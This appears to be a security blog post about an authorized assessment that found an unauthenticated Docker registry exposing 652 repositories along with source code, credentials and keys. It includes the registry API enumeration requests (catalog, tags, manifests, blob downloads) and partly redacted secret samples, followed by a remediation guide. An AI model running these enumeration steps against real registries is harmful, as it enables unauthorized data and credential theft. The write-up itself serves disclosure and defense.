652 Repositories, Zero Authentication
It started with a DNS record.
During the reconnaissance phase of an authorized assessment against a global infrastructure provider — the kind of company that runs compute, storage, and content delivery for thousands of businesses — a subdomain caught my attention. The naming convention was internal. It didn't resolve to any web page. But it was listening on port 443, and when I sent a request to the root path, it returned a JSON response that made the rest of the evening very productive.
GET /v2/
HTTP/1.1 200 OK
{}
An empty JSON object. HTTP 200. No WWW-Authenticate header. No redirect to a login page. No challenge of any kind.
This was a Docker container registry, wide open, connected to the internet, asking for nothing.
The Registry Protocol
Container registries follow the Docker Registry HTTP API v2. The protocol is straightforward, and that simplicity is part of what makes misconfigurations so devastating. There is no complexity to hide behind. Either the registry requires authentication or it does not.
The /v2/ endpoint is the handshake. A 200 response means the registry is available and the client is authorized. A 401 response means credentials are required. There is no middle ground.
The next step is catalog enumeration:
GET /v2/_catalog
The response came back immediately:
json
{
"repositories": [
"platform/auth-service",
"platform/billing-engine",
"platform/cdn-proxy",
"platform/customer-portal",
"platform/data-pipeline",
"..."
]
}Six hundred and fifty-two repositories. Neatly organized by team and function. The naming alone was a map of the internal architecture: authentication services, billing systems, content delivery components, customer-facing applications, data processing pipelines, monitoring infrastructure, deployment tooling. Every microservice this company ran was represented.
I set down my coffee. This was going to take a while.
Pulling the Thread
Docker images are not single files — they are stacks of append-only filesystem layers, each one a compressed tarball stored as an immutable blob in the registry. A COPY . . instruction captures every file in the build context, and a subsequent RUN rm -rf .env only marks files as deleted in a new layer without modifying the original. The files are still there, downloadable by anyone with registry access.
This is why an exposed registry is a full source code leak, not just a container image leak.
For each repository, the API provides a list of tags:
GET /v2/platform/auth-service/tags/list
json
{
"name": "platform/auth-service",
"tags": ["latest", "v2.4.1", "v2.4.0", "v2.3.9", "staging", "dev"]
}Tags point to manifests. Manifests list the layers:
GET /v2/platform/auth-service/manifests/latest
Accept: application/vnd.docker.distribution.manifest.v2+json
The manifest returned a list of layer digests — SHA256 hashes identifying each filesystem layer in the image. Each layer could be downloaded directly:
GET /v2/platform/auth-service/blobs/sha256:a1b2c3d4...
The response was a gzipped tarball. Decompress it, and you are looking at a filesystem diff — every file added or modified by that build step.
I wrote a simple script to automate the process: enumerate repositories, pull the manifest for the latest tag, download each layer, and extract the contents. No credentials. No tokens. No rate limiting. Just HTTP GET requests to a public endpoint.
What the Layers Contained
The first repository I examined was the authentication service. The COPY layer contained the full application source code — every route handler, every middleware function, every database query. The code was well-structured and commented, which made it easy to read. It also made it easy to identify vulnerabilities.
Hardcoded in the source:
DATABASE_URL=postgresql://svc_auth:R3dact3dP@ssw0rd@10.0.12.5:5432/auth_production
JWT_SECRET=a]kF9$mN2xP7...
INTERNAL_API_KEY=sk_live_4eC39Hq...
These were not in a .env file that was excluded from the build context. They were in a configuration module, committed to the repository, baked into the image. The JWT signing secret, the production database credentials, and an API key for an internal service — all sitting in a layer that anyone on the internet could download.
The billing engine was worse. Its layers contained:
- Complete source code for payment processing logic
- Integration credentials for a payment processor
- Internal API endpoints and their expected authentication headers
- Database migration files revealing the full schema evolution
- Test fixtures containing sanitized but structurally accurate customer data
The CDN proxy repository contained configuration files mapping internal service hostnames to external endpoints. This was effectively a network diagram: which internal services existed, what ports they listened on, how they communicated with each other, and which external services they depended on.
The History Problem
Current source code is damaging enough. But Docker registries retain history. Older tags — v2.3.9, v2.3.8, going back months or years — were all still available. Each version was a snapshot of the codebase at the time of deployment.
This historical depth meant I could:
- Track secret rotation: Comparing configuration files across versions revealed which credentials had been rotated and which had remained static for months. Static credentials are more likely to still be valid.
- Identify removed features: Code deleted in recent versions still existed in older image layers. Some of these removed features contained debug endpoints, administrative functions, and verbose error handling that would be useful for further exploitation.
- Map architectural changes: Watching how service configurations changed over time revealed migration patterns, deprecated internal services that might still be running, and infrastructure components that had been added or removed.
One particularly revealing find was in the deployment tooling repository. An older version contained a shell script that bootstrapped new environments. The script contained credentials for the cloud provider's API, the internal certificate authority, and a service account with broad permissions across the infrastructure. The credentials had been removed from newer versions — but they were still in the registry, in the layers of an image tagged eight months earlier.
The Scope
Over the course of the assessment, I cataloged the exposure:
- 652 repositories containing production, staging, and development images
- Source code for every major service in the platform's architecture
- Database credentials for production systems across multiple database engines
- API keys and tokens for internal and external services
- Infrastructure configuration revealing network topology, service mesh routing, and load balancer settings
- CI/CD pipeline definitions showing the build and deployment process
- Private cryptographic keys used for TLS termination and inter-service authentication
The registry was the single point of access to essentially everything. Not because it was designed to be — but because container images, by their nature, carry everything they need to run. And everything they need to run includes everything an attacker needs to compromise the infrastructure.
Why This Happens
Container registries are infrastructure components that often fall between organizational responsibilities. The platform team deploys the registry. The development teams push images to it. The security team may not know it exists, or may assume it is behind the same access controls as the rest of the internal network.
The Docker Registry HTTP API has no authentication by default. You have to explicitly configure an authentication backend — token-based authentication, HTTP basic auth, or an external authorization service. If the registry is deployed with default settings and exposed to the internet (intentionally or through a misconfigured load balancer, a DNS record pointing to the wrong target, or a cloud firewall rule that is too permissive), the entire contents are public.
This is not a vulnerability in the registry software. It is a misconfiguration. But it is a misconfiguration with a blast radius that encompasses the entire software stack.
The second contributing factor is the way developers think about Docker images. There is a widespread misconception that removing a file in a Dockerfile instruction removes it from the image. The RUN rm -rf .env pattern appears in countless Dockerfiles. It creates a false sense of security. The file is still in the image. It will always be in the image. The only way to keep a file out of an image is to never put it in one.
The Fix
The organization's response was immediate once the report was delivered. Authentication was enabled on the registry within hours. But the remediation extended far beyond access controls:
1. Credential rotation. Every credential found in any image layer across all 652 repositories needed to be rotated. This was not limited to current images — historical layers contained credentials that might still be valid.
2. Multi-stage builds. The engineering teams restructured their Dockerfiles to use multi-stage builds, where the final image contains only compiled artifacts:
dockerfile
# Build stage — contains source code, never pushed
FROM golang:1.22 AS builder
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -o /app
# Runtime stage — contains only the binary
FROM gcr.io/distroless/static
COPY --from=builder /app /app
CMD ["/app"]The build stage has access to the source code, dependencies, and build tools. The final stage contains only the compiled binary. When the image is pushed to the registry, only the runtime stage layers are included.
3. Build-time secret management. Credentials were removed from source code entirely and injected at runtime through environment variables managed by an orchestration platform. Build-time secrets that were necessary (such as private package registry tokens) were passed using ephemeral mechanisms that do not persist in image layers.
4. Registry access controls. Authentication was enforced on all registries. Network-level access controls restricted registry access to the CI/CD pipeline and authorized deployment infrastructure. Public internet access was blocked at the firewall level.
5. Automated scanning. Image scanning was integrated into the CI/CD pipeline to detect embedded secrets before images were pushed to any registry. Images containing detected credentials were rejected by the pipeline.
The Broader Pattern
This finding is not unique to one organization. Container registries are deployed across the industry, and the default-open authentication model means that every misconfigured registry is a potential full-source-code exposure. The compound effect is severe: source code reveals vulnerabilities, embedded credentials provide access, and infrastructure configuration maps the path from initial access to critical systems.
The attack requires no exploitation of software vulnerabilities. There are no buffer overflows, no injection attacks, no authentication bypasses. The data is served over a standard HTTP API to anyone who asks. The only barrier is knowing the endpoint exists, and DNS enumeration, certificate transparency logs, and search engines make discovery straightforward.
Container images are deployment artifacts. They contain everything a service needs to run. Treating them as anything other than highly sensitive assets — equivalent to source code repositories, credential stores, and infrastructure documentation combined — is a miscalculation that can expose an entire organization through a single endpoint.